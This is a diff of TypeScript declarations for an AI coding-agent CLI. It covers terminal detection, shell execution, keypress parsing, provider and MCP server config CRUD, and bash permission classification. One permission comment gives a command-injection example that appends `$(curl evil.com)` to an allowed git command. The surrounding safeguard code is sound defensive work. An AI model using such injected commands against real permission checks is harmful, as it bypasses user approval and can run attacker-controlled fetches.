+ declare function detectTerminalCapabilities(): TerminalCapabilities;
2248
+
2249
+ type TerminalRenderHost = "native_vt" | "xtermjs_host" | "degraded_vt" | "remote_conpty_host" | "unsupported_control_host" | "tmux_control_mode";
2250
+ type TerminalHostProfile = TerminalRenderHost;
2251
+ type TuiRendererMode = "auto" | "legacy" | "owned";
2252
+ type EffectiveTuiRendererMode = Exclude<TuiRendererMode, "auto">;
2253
+ type InteractiveSurfacePreference = "ink" | "classic";
2254
+ interface TerminalHostDetectionOptions {
2255
+ env?: NodeJS.ProcessEnv;
2256
+ platform?: NodeJS.Platform;
2257
+ isTTY?: boolean;
2258
+ rawModeSupported?: boolean;
2259
+ tmuxControlMode?: boolean;
2260
+ }
2261
+ interface TerminalHostCapabilities {
2262
+ profile: TerminalRenderHost;
2263
+ ownsViewportByDefault: boolean;
2264
+ supportsMouseTracking: boolean;
2265
+ bufferingMode: "live" | "buffered-fallback";
2266
+ supportsFullscreenLayout: boolean;
2267
+ supportsOverlaySurface: boolean;
2268
+ supportsSelection: boolean;
2269
+ supportsCopyOnSelect: boolean;
2270
+ supportsWheelHistory: boolean;
2271
+ supportsViewportChrome: boolean;
2272
+ supportsSearchViewport: boolean;
2273
+ supportsStickyPrompt: boolean;
2274
+ }
2275
+ interface FullscreenPolicy {
2276
+ enabled: boolean;
2277
+ promptShell: "virtual" | "main-screen";
2278
+ transcriptShell: "virtual" | "main-screen";
2279
+ mouseWheel: boolean;
2280
+ mouseClicks: boolean;
2281
+ streamingPreview: boolean;
2282
+ transcriptSpinnerAnimation: boolean;
2283
+ }
2284
+ declare function isVsCodeTerminalHostEnv(env?: NodeJS.ProcessEnv): boolean;
2285
+ declare function hasCursorUpViewportYankRisk(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
2286
+ declare function isRemoteConptyHost(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
2287
+ declare function hasMainScreenRenderScrollRisk(options?: Pick<TerminalHostDetectionOptions, "env" | "platform">): boolean;
2288
+ declare function isTmuxControlMode(options?: Pick<TerminalHostDetectionOptions, "env" | "platform" | "tmuxControlMode">): boolean;
2289
+ declare function resetTmuxControlModeProbeForTesting(): void;
2290
+ declare function detectTerminalRenderHost(options?: TerminalHostDetectionOptions): TerminalRenderHost;
2291
+ declare const detectTerminalHostProfile: typeof detectTerminalRenderHost;
2292
+ declare function resolveConfiguredTuiRendererMode(options?: Pick<TerminalHostDetectionOptions, "env">): TuiRendererMode;
2293
+ declare function resolveEffectiveTuiRendererMode(options?: TerminalHostDetectionOptions): EffectiveTuiRendererMode;
2294
+ declare function resolveInteractiveSurfacePreference(options?: TerminalHostDetectionOptions): InteractiveSurfacePreference;
2295
+ declare function resolveFullscreenPolicy(host: TerminalRenderHost, rendererMode?: EffectiveTuiRendererMode, options?: Pick<TerminalHostDetectionOptions, "env">): FullscreenPolicy;
2296
+ declare function getTerminalHostCapabilities(profile: TerminalRenderHost, options?: {
2297
+ rendererMode?: EffectiveTuiRendererMode;
2298
+ env?: NodeJS.ProcessEnv;
2299
+ }): TerminalHostCapabilities;
2300
+ declare function isOwnedRendererPreferred(options?: TerminalHostDetectionOptions): boolean;
2301
+ declare function isClassicReplForced(options?: Pick<TerminalHostDetectionOptions, "env">): boolean;
2302
+
2303
+ /**
2304
+ * Console Capturer - Console output capturer - 控制台输出捕获器
2305
+ *
2306
+ * Captures console.log output for correct display in Ink render tree - 捕获 console.log 输出,用于在 Ink 渲染树中正确显示
2307
+ * Resolves rendering position issues caused by Ink patchConsole (Issue 040, 045) - 解决 Ink patchConsole 导致的渲染位置问题(Issue 040, 045)
2308
+ *
2309
+ * Extracted from InkREPL.tsx to improve code organization - 从 InkREPL.tsx 提取以改善代码组织
2310
+ */
2311
+ /**
2312
+ * Console capturer - 控制台捕获器
2313
+ *
2314
+ * Temporarily intercepts console.log to collect output - 临时拦截 console.log,收集输出内容
2315
+ * Must call stop() after use to restore original console.log - 使用后必须调用 stop() 恢复原始 console.log
2316
+ *
2317
+ * @example
2318
+ * ```typescript
2319
+ * const capturer = new ConsoleCapturer();
2320
+ * capturer.start();
2321
+ *
2322
+ * // ... some code calls console.log ...
2323
+ * // ... 某些代码调用 console.log ...
2324
+ * console.log("Hello", "world");
2325
+ *
2326
+ * const output = capturer.stop();
2327
+ * console.log(output); // ["Hello world"]
17
2328
  * ```
2329
+ */
2330
+ declare class ConsoleCapturer {
2331
+ private captured;
2332
+ private originalLog;
2333
+ /**
2334
+ * Start capturing console.log - 开始捕获 console.log
2335
+ */
2336
+ start(): void;
2337
+ /**
2338
+ * Stop capturing and return captured content - 停止捕获并返回捕获的内容
2339
+ */
2340
+ stop(): string[];
2341
+ /**
2342
+ * Get captured content without stopping capture - 获取已捕获的内容(不停止捕获)
2343
+ */
2344
+ getCaptured(): string[];
2345
+ /**
2346
+ * Clear captured content - 清空已捕获的内容
2347
+ */
2348
+ clear(): void;
2349
+ }
2350
+ /**
2351
+ * Execute function with capturer - 使用捕获器执行函数
2352
+ *
2353
+ * @param fn - Function to execute - 要执行的函数
2354
+ * @returns Captured output and function return value - 捕获的输出和函数返回值
2355
+ */
2356
+ declare function withCapture<T>(fn: () => Promise<T>): Promise<{
2357
+ result: T;
2358
+ captured: string[];
2359
+ }>;
2360
+ /**
2361
+ * Execute synchronous function with capturer - 使用捕获器执行同步函数
2362
+ */
2363
+ declare function withCaptureSync<T>(fn: () => T): {
2364
+ result: T;
2365
+ captured: string[];
2366
+ };
2367
+
2368
+ /**
2369
+ * Build the retry info history item shown during automatic provider retries.
2370
+ * Keeping this out of InkREPL makes the regression easy to test and avoids
2371
+ * falling back to console.log, which gets captured and deferred.
2372
+ */
2373
+ declare function createRetryHistoryItem(reason: string, attempt: number, maxAttempts: number): CreatableHistoryItem;
2374
+ declare function emitRetryHistoryItem(addHistoryItem: (item: CreatableHistoryItem) => void, reason: string, attempt: number, maxAttempts: number): void;
2375
+ /**
2376
+ * Build a recovery history item from a structured ProviderRecoveryEvent.
2377
+ */
2378
+ declare function createRecoveryHistoryItem(event: ProviderRecoveryEvent): CreatableHistoryItem;
2379
+ declare function emitRecoveryHistoryItem(addHistoryItem: (item: CreatableHistoryItem) => void, event: ProviderRecoveryEvent): void;
2380
+
2381
+ /**
2382
+ * Utilities for extracting message content for history rendering, copy, and previews.
2383
+ */
2384
+
2385
+ /**
2386
+ * Extract plain text from message content.
2387
+ * Thinking/tool blocks are omitted so callers get only visible assistant text.
2388
+ */
2389
+ declare function extractTextContent(content: string | readonly unknown[]): string;
2390
+ /**
2391
+ * Extract a session title from the first user message.
2392
+ */
2393
+ declare function extractTitle(messages: KodaXMessage[]): string;
2394
+ /**
2395
+ * Format a single-line preview for session lists.
2396
+ */
2397
+ declare function formatMessagePreview(content: string, maxLength?: number): string;
2398
+
2399
+ /**
2400
+ * Shell Executor - Shell command executor - Shell 命令执行器
2401
+ *
2402
+ * Handles !command syntax, executes shell commands and returns results - 处理 !command 语法,执行 Shell 命令并返回结果
2403
+ * Extracted from InkREPL.tsx to improve code organization - 从 InkREPL.tsx 提取以改善代码组织
2404
+ */
2405
+ /**
2406
+ * Shell command execution configuration - Shell 命令执行配置
2407
+ */
2408
+ interface ShellExecutorConfig {
2409
+ maxBuffer?: number;
2410
+ timeout?: number;
2411
+ maxOutputLength?: number;
2412
+ maxErrorLength?: number;
2413
+ cwd?: string;
2414
+ }
2415
+ /**
2416
+ * Execute shell command - 执行 Shell 命令
2417
+ *
2418
+ * @param command - Command to execute (without ! prefix) - 要执行的命令(不含 ! 前缀)
2419
+ * @param config - Optional configuration - 可选配置
2420
+ * @returns Command output or error message, formatted for LLM processing - 命令输出或错误信息,格式化为适合 LLM 处理的字符串
2421
+ */
2422
+ declare function executeShellCommand(command: string, config?: ShellExecutorConfig): Promise<string>;
2423
+ /**
2424
+ * Check if input is a shell command - 检查输入是否为 Shell 命令
2425
+ */
2426
+ declare function isShellCommand(input: string): boolean;
2427
+ /**
2428
+ * Check if shell command executed successfully - 检查 Shell 命令是否执行成功
2429
+ */
2430
+ declare function isShellCommandSuccess(result: string): boolean;
2431
+
2432
+ /**
2433
+ * KeypressParser - Terminal keypress parser - 终端按键解析器
2434
+ *
2435
+ * Reference implementation: Gemini CLI keypress.ts - 参考实现: Gemini CLI keypress.ts
2436
+ *
2437
+ * Resolves Ink useInput Backspace/Delete confusion issue: - 解决 Ink useInput 的 Backspace/Delete 混淆问题:
2438
+ * - Ink maps \x7f (ASCII 127) to delete - Ink 将 \x7f (ASCII 127) 映射为 delete
2439
+ * - But many terminals (especially Windows) send \x7f for Backspace key - 但很多终端(尤其是 Windows)发送 \x7f 表示 Backspace 键
2440
+ * - Real Delete key sends escape sequence \x1b[3~ - 真正的 Delete 键发送转义序列 \x1b[3~
2441
+ *
2442
+ * This parser's mapping rules (following Gemini CLI): - 本解析器的映射规则(参考 Gemini CLI):
2443
+ * - \b (ASCII 8) → backspace - \b (ASCII 8) → backspace
2444
+ * - \x7f (ASCII 127) → backspace (not delete!) - \x7f (ASCII 127) → backspace (不是 delete!)
2445
+ * - \x1b[3~ → real delete - \x1b[3~ → 真正的 delete
2446
+ */
2447
+
2448
+ /**
2449
+ * Parse single keypress sequence - 解析单个按键序列
2450
+ *
2451
+ * @param sequence - Raw input sequence - 原始输入序列
2452
+ * @param inBracketedPaste - Whether we're inside a bracketed paste (Issue 075) - 是否在粘贴模式中 (Issue 075)
2453
+ * @returns Parsed KeyInfo object - 解析后的 KeyInfo 对象
2454
+ */
2455
+ declare function parseKeypress(sequence: string, inBracketedPaste?: boolean): KeyInfo;
2456
+ /**
2457
+ * Keypress parser class - 按键解析器类
2458
+ *
2459
+ * Used for processing terminal input streams, correctly parsing multi-byte escape sequences - 用于处理终端输入流,正确解析多字节转义序列
18
2460
  *
19
- * See docs/ADR.md ADR-024 for the SDK formalization decision.
2461
+ * Reference Gemini CLI's emitKeys implementation: - 参考 Gemini CLI emitKeys 实现:
2462
+ * - Does not wait for more data, processes immediately - 不等待更多数据,立即处理
2463
+ * - Uses external timeout mechanism to handle incomplete ESC sequences - 通过外部超时机制处理不完整的 ESC 序列
2464
+ */
2465
+ declare class KeypressParser {
2466
+ private buffer;
2467
+ private listeners;
2468
+ /** Whether in timeout flush mode (handling incomplete ESC sequences) - 是否处于超时刷新模式(处理不完整的 ESC 序列) */
2469
+ private flushing;
2470
+ /** Whether we're inside a bracketed paste (Issue 075) - 是否在粘贴模式中 (Issue 075) */
2471
+ private inBracketedPaste;
2472
+ /**
2473
+ * Issue 121: accumulator for content arriving between `paste_start` and
2474
+ * `paste_end`. Bracketed paste from the terminal normally arrives byte-by-
2475
+ * byte, so if we emitted per-char events downstream consumers (PasteStore
2476
+ * threshold, Layer 1 placeholder insert) would never see the full paste
2477
+ * in one call. We buffer insertable content here and emit ONE synthetic
2478
+ * aggregated event at `paste_end`.
2479
+ */
2480
+ private pasteAccumulator;
2481
+ /**
2482
+ * Add keypress listener - 添加按键监听器
2483
+ */
2484
+ onKeypress(listener: (key: KeyInfo) => void): () => void;
2485
+ /**
2486
+ * Process input data - 处理输入数据
2487
+ *
2488
+ * @param data - Raw input data (can be Buffer or string) - 原始输入数据(可以是 Buffer 或 string)
2489
+ * @param flush - Whether in timeout flush mode (handling incomplete ESC sequences) - 是否为超时刷新模式(处理不完整的 ESC 序列)
2490
+ */
2491
+ feed(data: Buffer | string, flush?: boolean): void;
2492
+ /**
2493
+ * Process data in buffer - 处理缓冲区中的数据
2494
+ */
2495
+ private processBuffer;
2496
+ /**
2497
+ * Flush the accumulated paste content as one synthetic keypress event.
2498
+ * Called when `paste_end` arrives. Newlines inside the paste are preserved
2499
+ * in the aggregated `sequence` so the buffer layer can split them normally.
2500
+ */
2501
+ private flushPasteAccumulator;
2502
+ /**
2503
+ * Extract next complete keypress sequence from buffer - 从缓冲区提取下一个完整的按键序列
2504
+ *
2505
+ * Key improvement (following Gemini CLI): - 关键改进(参考 Gemini CLI):
2506
+ * - Does not wait for more data, immediately processes known complete sequences - 不等待更多数据,立即处理已知的完整序列
2507
+ * - For incomplete ESC sequences, relies on external timeout mechanism calling feed("", true) to flush - 对于不完整的 ESC 序列,依赖外部超时机制调用 feed("", true) 刷新
2508
+ */
2509
+ private extractNextSequence;
2510
+ /**
2511
+ * Emit keypress event to all listeners - 发送按键事件给所有监听器
2512
+ *
2513
+ * Issue 121: while `inBracketedPaste` is true, the parser buffers printable
2514
+ * content + newlines into `pasteAccumulator` instead of emitting each char.
2515
+ * `flushPasteAccumulator` then emits the whole paste as one synthetic
2516
+ * keypress event when `paste_end` arrives. This preserves Issue 075's CRLF
2517
+ * normalization (CR/LF both become `\n` inside the accumulator) while
2518
+ * letting Layer 1 threshold logic see the full paste size.
2519
+ */
2520
+ private emit;
2521
+ /**
2522
+ * Clear buffer - 清空缓冲区
2523
+ */
2524
+ clear(): void;
2525
+ }
2526
+ /**
2527
+ * Check if is a function key (non-character input) - 检查是否是功能键(非字符输入)
2528
+ */
2529
+ declare function isFunctionKey(key: KeyInfo): boolean;
2530
+ /**
2531
+ * Check if is a printable character - 检查是否是可打印字符
2532
+ */
2533
+ declare function isPrintable(key: KeyInfo): boolean;
2534
+ /**
2535
+ * Get display name of key - 获取按键的显示名称
2536
+ */
2537
+ declare function getKeyDisplayName(key: KeyInfo): string;
2538
+
2539
+ /**
2540
+ * Dark Theme - Warp-inspired color scheme
2541
+ *
2542
+ * Inspired by Warp.dev terminal - 参考 Warp.dev 终端配色
2543
+ *
2544
+ * Key characteristics:
2545
+ * - Deep dark background (almost black)
2546
+ * - Cyan/teal accent for primary elements
2547
+ * - Good contrast, soft on eyes
2548
+ */
2549
+
2550
+ declare const darkTheme: Theme;
2551
+ declare const minimalTheme: Theme;
2552
+
2553
+ /**
2554
+ * Theme System - 主题系统
2555
+ */
2556
+
2557
+ declare const themes: Record<string, Theme>;
2558
+ /**
2559
+ * Get theme - 获取主题
2560
+ */
2561
+ declare function getTheme(name?: string): Theme;
2562
+ /**
2563
+ * Get all theme names - 获取所有主题名称
2564
+ */
2565
+ declare function getThemeNames(): string[];
2566
+
2567
+ /**
2568
+ * Custom provider CRUD — v0.7.42 (closes gap 7 reported by KodaX Space).
2569
+ *
2570
+ * Before v0.7.42 the only way for an SDK embedder to add / remove a
2571
+ * custom provider was to:
2572
+ * 1. Read `~/.kodax/config.json` directly.
2573
+ * 2. Hand-validate the entry against `KodaXCustomProviderConfig`
2574
+ * (Space wrote a parallel zod schema to do this).
2575
+ * 3. Write the file back, hoping the format stayed in sync with
2576
+ * whatever shape the KodaX SDK currently expected.
2577
+ * 4. Call `registerConfiguredCustomProviders` separately to
2578
+ * re-hydrate the in-memory registry.
2579
+ *
2580
+ * Space reported: "你们改格式我们就坏" (if you change the format we
2581
+ * break). The 4-step ritual was fragile, the validation was duplicated,
2582
+ * and the read / write / re-register split made it easy for an embedder
2583
+ * to forget the last step and end up with a stale in-memory registry.
2584
+ *
2585
+ * This module exposes a tight CRUD surface — list / get / upsert /
2586
+ * remove — that owns the file-format end-to-end. The schema is enforced
2587
+ * via `validateCustomProviderConfig` from `@kodax-ai/llm` (the canonical
2588
+ * validator the SDK itself uses), so embedders cannot drift away from
2589
+ * the SDK's expected shape. Each mutation persists to `config.json` and
2590
+ * eagerly re-registers ALL custom providers in memory so subsequent
2591
+ * `resolveProvider(name)` calls see the new state without a process
2592
+ * restart.
2593
+ *
2594
+ * Path resolution: this module resolves the config file path on EVERY
2595
+ * call via `getAgentConfigPath('config.json')` so that programmatic
2596
+ * `setAgentConfigHome()` overrides (e.g. for tests, substrate
2597
+ * consumers, multi-tenant shared machines) take effect immediately —
2598
+ * unlike the load-time-frozen `KODAX_CONFIG_FILE` constant in
2599
+ * `common/utils.ts` that captures the path once at import time.
2600
+ *
2601
+ * Concurrency / multi-process: this is a single-machine, last-write-
2602
+ * wins implementation. If two SDK consumers (KodaX CLI + KodaX Space)
2603
+ * both mutate the same config simultaneously, the later writer's view
2604
+ * survives. KodaX is a single-user CLI; the multi-writer surface is
2605
+ * not a real production concern for v0.7.42. A future FEATURE could
2606
+ * layer file locking on top of this surface without changing the
2607
+ * caller-facing API.
2608
+ */
2609
+
2610
+ /**
2611
+ * Return a snapshot of every custom provider currently persisted in
2612
+ * `~/.kodax/config.json`. The returned array is a defensive deep copy —
2613
+ * mutating it does NOT change the on-disk config (use
2614
+ * {@link upsertCustomProvider} / {@link removeCustomProvider} for
2615
+ * mutation). Order matches the file order (which is the insertion order
2616
+ * preserved by JSON parse).
2617
+ */
2618
+ declare function listCustomProviders(): KodaXCustomProviderConfig[];
2619
+ /**
2620
+ * Look up a single custom provider by `name`. Returns `undefined` if no
2621
+ * such provider is configured. Returned value is a defensive deep copy.
2622
+ */
2623
+ declare function getCustomProviderConfig(name: string): KodaXCustomProviderConfig | undefined;
2624
+ /**
2625
+ * Add a new custom provider OR replace an existing one with the same
2626
+ * name. The input is validated via `validateCustomProviderConfig`; on
2627
+ * validation failure the call throws and the config is NOT touched.
2628
+ *
2629
+ * After a successful write, the in-memory custom-provider registry is
2630
+ * fully re-registered (with the new entry in place) so subsequent
2631
+ * `resolveProvider(name)` calls see the change without a restart.
2632
+ *
2633
+ * Returns the deep-cloned stored shape (so callers can observe any
2634
+ * normalization the validator performed without re-reading the file).
2635
+ */
2636
+ declare function upsertCustomProvider(config: KodaXCustomProviderConfig): KodaXCustomProviderConfig;
2637
+ /**
2638
+ * Remove the custom provider identified by `name`. Returns `true` when
2639
+ * an entry was removed, `false` when no provider with that name existed
2640
+ * (the file is then NOT rewritten — no-op for unknown names so caller
2641
+ * code can be idempotent).
2642
+ *
2643
+ * The in-memory registry is re-registered after a successful removal so
2644
+ * `resolveProvider(name)` immediately throws for the removed provider.
2645
+ */
2646
+ declare function removeCustomProvider(name: string): boolean;
2647
+
2648
+ /**
2649
+ * MCP server CRUD — v0.7.42 (closes the "MCP popout" request from
2650
+ * KodaX Space).
2651
+ *
2652
+ * Before v0.7.42 the only way for an SDK embedder to register a new
2653
+ * MCP server was to:
2654
+ * 1. Read `~/.kodax/config.json` directly.
2655
+ * 2. Hand-build a `KodaXMcpServersConfig` entry (no exported
2656
+ * validator — Space wrote a parallel zod schema).
2657
+ * 3. Write the file back, hoping `mcpServers` shape stayed in sync
2658
+ * with whatever the KodaX SDK currently expects.
2659
+ * 4. Restart the runtime — the existing `McpCapabilityProvider`
2660
+ * caches its server list at construction time so config changes
2661
+ * do NOT take effect mid-process.
2662
+ *
2663
+ * The KodaX Space "MCP popout" panel wants step 4 OUT of the loop:
2664
+ * users add/remove an MCP server, click "save", and have it live
2665
+ * immediately in the next agent turn. That requires (a) a typed CRUD
2666
+ * surface that owns the file format, and (b) an explicit re-hydrate
2667
+ * hook so the next agent run picks up the changes.
2668
+ *
2669
+ * This module covers (a). The re-hydrate hook is implicit: every new
2670
+ * substrate frame reads `loadConfig().mcpServers` at session start
2671
+ * (see `repl/.../bootstrap` flow) — so the next `runKodaX` /
2672
+ * `startKodaX` call sees the new list. In-flight runs continue with
2673
+ * the snapshot the substrate took at start; that matches the
2674
+ * pre-v0.7.42 invariant and avoids surprising tool-list mutations
2675
+ * mid-turn.
2676
+ *
2677
+ * Schema: this module relies on TypeScript's structural typing against
2678
+ * `KodaXMcpServerConfig` (exported from `@kodax-ai/mcp` via the coding
2679
+ * barrel). Unlike custom providers — which have a runtime validator —
2680
+ * MCP entries have no canonical zod schema in the SDK today, so the
2681
+ * CRUD does shape-level checks only (required `name`, recognized
2682
+ * transport `type`, transport-shape coherence: stdio→command, sse|
2683
+ * streamable-http→url). Embedders that need stricter validation can
2684
+ * layer it on top.
2685
+ *
2686
+ * Path resolution: like `custom-providers.ts`, this module resolves
2687
+ * the config file path on EVERY call via `getAgentConfigPath`, so
2688
+ * `setAgentConfigHome()` overrides (tests, multi-tenant substrate
2689
+ * consumers) take effect immediately.
2690
+ */
2691
+
2692
+ /**
2693
+ * Return a snapshot of every MCP server currently persisted in
2694
+ * `~/.kodax/config.json` under `mcpServers`. Returned record is a
2695
+ * defensive deep copy — mutating it does NOT change the on-disk
2696
+ * config (use {@link upsertMcpServer} / {@link removeMcpServer} for
2697
+ * mutation). Order is undefined (object key order semantics).
2698
+ */
2699
+ declare function listMcpServers(): KodaXMcpServersConfig;
2700
+ /**
2701
+ * Look up a single MCP server config by `name`. Returns `undefined`
2702
+ * if no such server is configured. Returned value is a defensive
2703
+ * deep copy.
2704
+ */
2705
+ declare function getMcpServerConfig(name: string): KodaXMcpServerConfig | undefined;
2706
+ /**
2707
+ * Add a new MCP server OR replace an existing one with the same
2708
+ * name. Shape is validated via {@link validateMcpServerConfig}; on
2709
+ * validation failure the call throws and the config is NOT touched.
2710
+ *
2711
+ * Returns the deep-cloned stored shape (so callers can observe the
2712
+ * normalized value without re-reading the file).
2713
+ */
2714
+ declare function upsertMcpServer(name: string, config: KodaXMcpServerConfig): KodaXMcpServerConfig;
2715
+ /**
2716
+ * Remove the MCP server identified by `name`. Returns `true` when an
2717
+ * entry was removed, `false` when no server with that name existed
2718
+ * (the file is NOT rewritten in that case — no-op for unknown names
2719
+ * so caller code can be idempotent).
2720
+ */
2721
+ declare function removeMcpServer(name: string): boolean;
2722
+ /**
2723
+ * Shape-level validation. Throws on malformed input — used by
2724
+ * {@link upsertMcpServer} before the disk write. Exposed so
2725
+ * embedders can pre-validate user input from a popout form before
2726
+ * showing a "save" button.
2727
+ *
2728
+ * Checks:
2729
+ * - `config` is a plain object
2730
+ * - transport `type` (when set) is one of stdio | sse | streamable-http
2731
+ * - stdio transport requires `command`
2732
+ * - sse / streamable-http transport requires `url`
2733
+ * - `connect` (when set) is one of lazy | prewarm | disabled
2734
+ *
2735
+ * Does NOT check that `command` resolves on PATH or that `url` is
2736
+ * reachable — both are runtime concerns surfaced by McpServerRuntime
2737
+ * at connection time.
2738
+ */
2739
+ declare function validateMcpServerConfig(name: string, config: KodaXMcpServerConfig): void;
2740
+
2741
+ /**
2742
+ * Permission Utilities
2743
+ *
2744
+ * 权限工具函数 - 模式解析、匹配、路径检查
2745
+ *
2746
+ * Pattern format (ONLY for Bash tool in accept-edits mode):
2747
+ * - "Bash(npm install)" - exact command match
2748
+ * - "Bash(git commit:*)" - prefix wildcard match (matches "git commit -m 'msg'" etc.)
2749
+ * - "Bash(npm:*)" - command prefix wildcard (matches "npm install", "npm run build" etc.)
2750
+ *
2751
+ * Note: Bash(*) is REJECTED for safety. Use specific command patterns.
2752
+ */
2753
+
2754
+ /**
2755
+ * Check if a bash command is strictly a safe read-only operation (Whitelist).
2756
+ *
2757
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex strip-then-classify
2758
+ * pipeline with `parseBashCommand` from `bash-ast.ts`. The AST gives us:
2759
+ * - statements split on `&&` / `||` / `;` (we only allow null and `&&`),
2760
+ * - pipeline stages split on `|` (every stage must be a safe-read command),
2761
+ * - per-stage redirections (input redirects rejected; output redirects only
2762
+ * allowed when the target is a null device, which discards output rather
2763
+ * than writing — preserves Issue 129 behavior),
2764
+ * - `unparseable: true` for inputs we can't model (heredocs, command
2765
+ * substitution `$(...)`, backticks, bare `&`, etc.) — fail-closed to
2766
+ * `false` so unmodeled syntax always falls through to confirmation.
2767
+ *
2768
+ * Per-stage syntactic checks (`isSingleBashReadCommand`) are unchanged —
2769
+ * the AST migration only replaces the splitting + null-device-strip layer.
2770
+ *
2771
+ * @param command - bash command string
2772
+ * @returns true if the command is a safe read operation
2773
+ */
2774
+ declare function isBashReadCommand(command: string): boolean;
2775
+ /**
2776
+ * Check if a bash command is a write operation.
2777
+ *
2778
+ * FEATURE_152 (v0.7.38): replaces the pre-AST regex blacklist with
2779
+ * `parseBashCommand` from `bash-ast.ts`. The AST eliminates two whole
2780
+ * classes of false positives the regex chain had:
2781
+ * 1. **Issue 129 strip-then-classify**: pre-AST code regex-stripped
2782
+ * `2>NUL` / `2>/dev/null` BEFORE pattern matching, then ran a
2783
+ * blacklist of pre-compiled regexes. The strip was fragile — any
2784
+ * future fd-redirect form would re-introduce the false positive.
2785
+ * Now redirections are structured tokens with a `target` field;
2786
+ * `isNullDevice(target)` is the single source of truth.
2787
+ * 2. **Substring matches inside argv strings**: pre-AST `\\bset-content\\b`
2788
+ * matched `set-content` even when it appeared inside a quoted string
2789
+ * argument or inside a path. AST argv tokens are post-quote-stripping
2790
+ * so PowerShell verb checks compare against actual command names.
2791
+ *
2792
+ * Detection rules (per-stage):
2793
+ * - argv[0] OR argv[0..1] (joined with space) matches any entry in
2794
+ * `BASH_WRITE_COMMANDS` (handles both `rm` and `git commit`).
2795
+ * - any argv token matches a `POWERSHELL_WRITE_TOKENS` entry (these can
2796
+ * appear inline, not just at stage start, due to PowerShell pipeline
2797
+ * conventions — `ls | Set-Content foo` puts the verb at argv[0] of
2798
+ * stage 2, but `New-Item -Path foo -Value bar` has it as argv[0] of
2799
+ * stage 1; we cover both with a token-anywhere check).
2800
+ * - any non-input redirection whose target is NOT a null device.
2801
+ *
2802
+ * Unparseable inputs (heredocs, `$(...)`) are conservatively returned as
2803
+ * `false` to match the pre-AST regex chain's behavior — those inputs just
2804
+ * didn't match anything in the regex blacklist either. Plan-mode and
2805
+ * auto-mode handle the unparseable case via separate confirmation paths.
2806
+ *
2807
+ * @param command - bash command string
2808
+ * @returns true if the command is a write operation
2809
+ */
2810
+ declare function isBashWriteCommand(command: string): boolean;
2811
+ /**
2812
+ * Check if a tool call is allowed by the user's allowlist patterns.
2813
+ *
2814
+ * FEATURE_153 (v0.7.38) — When `extractor` is supplied, bash commands are
2815
+ * routed through the LLM-backed prefix extractor, which:
2816
+ * - Returns the SAFE PREFIX of the command (e.g. `git commit` for
2817
+ * `git commit -m "msg"`)
2818
+ * - Returns `injection_detected` for inputs containing command injection
2819
+ * (`git commit -m "x" $(curl evil.com)`)
2820
+ * - Returns `no_prefix` when no safe prefix can be determined
2821
+ * Patterns then match against the extracted prefix exactly. This eliminates
2822
+ * the pre-FEATURE_153 startsWith-based injection surface.
2823
+ *
2824
+ * When `extractor` is NOT supplied, falls back to the legacy
2825
+ * `command.startsWith(pattern)` matcher. Documented as insecure in
2826
+ * `matchesBashPatternLegacy` — KodaX's REPL always supplies an extractor in
2827
+ * production; the legacy branch exists for tests and headless SDK consumers
2828
+ * without LLM access.
2829
+ *
2830
+ * Note: Only Bash tool is supported for pattern matching.
2831
+ *
2832
+ * @param toolName — tool name (only "bash" / "Bash" matched)
2833
+ * @param input — tool call input; reads `input.command`
2834
+ * @param allowedPatterns — entries like `Bash(git commit:*)` from
2835
+ * `~/.kodax/config.json` `alwaysAllowTools`
2836
+ * @param extractor — optional LLM-backed bash prefix extractor (FEATURE_153)
2837
+ * @param signal — optional abort signal forwarded to the extractor
2838
+ */
2839
+ declare function isToolCallAllowed(toolName: string, input: Record<string, unknown>, allowedPatterns: string[], extractor?: BashPrefixExtractor, signal?: AbortSignal): Promise<boolean>;
2840
+ /**
2841
+ * Generate pattern string for saving
2842
+ */
2843
+ declare function generateSavePattern(toolName: string, input: Record<string, unknown>, allowAll: boolean): string;
2844
+ /**
2845
+ * Check if target path requires always-confirm (permanent protection zones)
2846
+ *
2847
+ * Protected zones (always require confirmation, regardless of mode):
2848
+ * - .kodax/ project config directory
2849
+ * - ~/.kodax/ user config directory
2850
+ * - Paths outside the project root AND outside the system temp directory
2851
+ *
2852
+ * System temp directories (`os.tmpdir()` and `$TEMP` / `$TMP` / `$TMPDIR`) are
2853
+ * treated as a safe scratchpad in all modes — writing there is auto-allowed.
2854
+ * This aligns with plan mode's `isPlanModeAllowedPath` semantics: both modes
2855
+ * already explicitly permit system-temp writes, so accept-edits and
2856
+ * auto-in-project should not be stricter than plan mode on this dimension.
2857
+ */
2858
+ declare function isAlwaysConfirmPath(targetPath: string, projectRoot: string): boolean;
2859
+ /**
2860
+ * Check whether a path stays inside the project root after resolution.
2861
+ */
2862
+ declare function isPathInsideProject(targetPath: string, projectRoot: string): boolean;
2863
+ /**
2864
+ * Collect the file targets that a bash command might write to. Used by
2865
+ * plan-mode (`getPlanModeBlockReason`) and `getBashOutsideProjectWriteRisk`.
2866
+ *
2867
+ * FEATURE_152 (v0.7.38): backed by `parseBashCommand` AST. The pre-AST
2868
+ * version concatenated four overlapping regex sweeps over the raw command
2869
+ * string — each had its own substring-vs-token pitfalls (e.g. `tee`
2870
+ * matched as substring in `committee.txt`). The AST gives clean argv
2871
+ * tokens with quoting stripped, and per-stage redirection targets.
2872
+ */
2873
+ declare function collectBashWriteTargets(command: string): string[];
2874
+ declare function getBashOutsideProjectWriteRisk(command: string, projectRoot: string): {
2875
+ dangerous: boolean;
2876
+ reason?: string;
2877
+ };
2878
+ /**
2879
+ * v0.7.42 — Metadata-driven plan-mode gate.
2880
+ *
2881
+ * Decision order (first match wins):
2882
+ *
2883
+ * 1. Tool has `planModeAllowed: true` in its `LocalToolDefinition` →
2884
+ * permitted (`null`). Covers planning-loop tools whose effect IS the
2885
+ * planning workflow: `exit_plan_mode`, `task_stop`, `todo_*`,
2886
+ * `ask_user_question`, plus read-class network queries
2887
+ * (`web_search`, `mcp_search` / `mcp_describe` /
2888
+ * `mcp_read_resource` / `mcp_get_prompt`).
2889
+ * 2. Tool has `sideEffect === 'readonly'` AND not explicitly disallowed →
2890
+ * permitted (`null`). Read tools never need plan-mode gating.
2891
+ * 3. Path-aware FS-write escape: tools in `FILE_MODIFICATION_TOOLS`
2892
+ * (computed from `sideEffect === 'mutates-fs' AND requires path`)
2893
+ * can write IF the target path is `.agent/plan_mode_doc.md` or the
2894
+ * system temp dir.
2895
+ * 4. `bash` special case: command-content-aware check via
2896
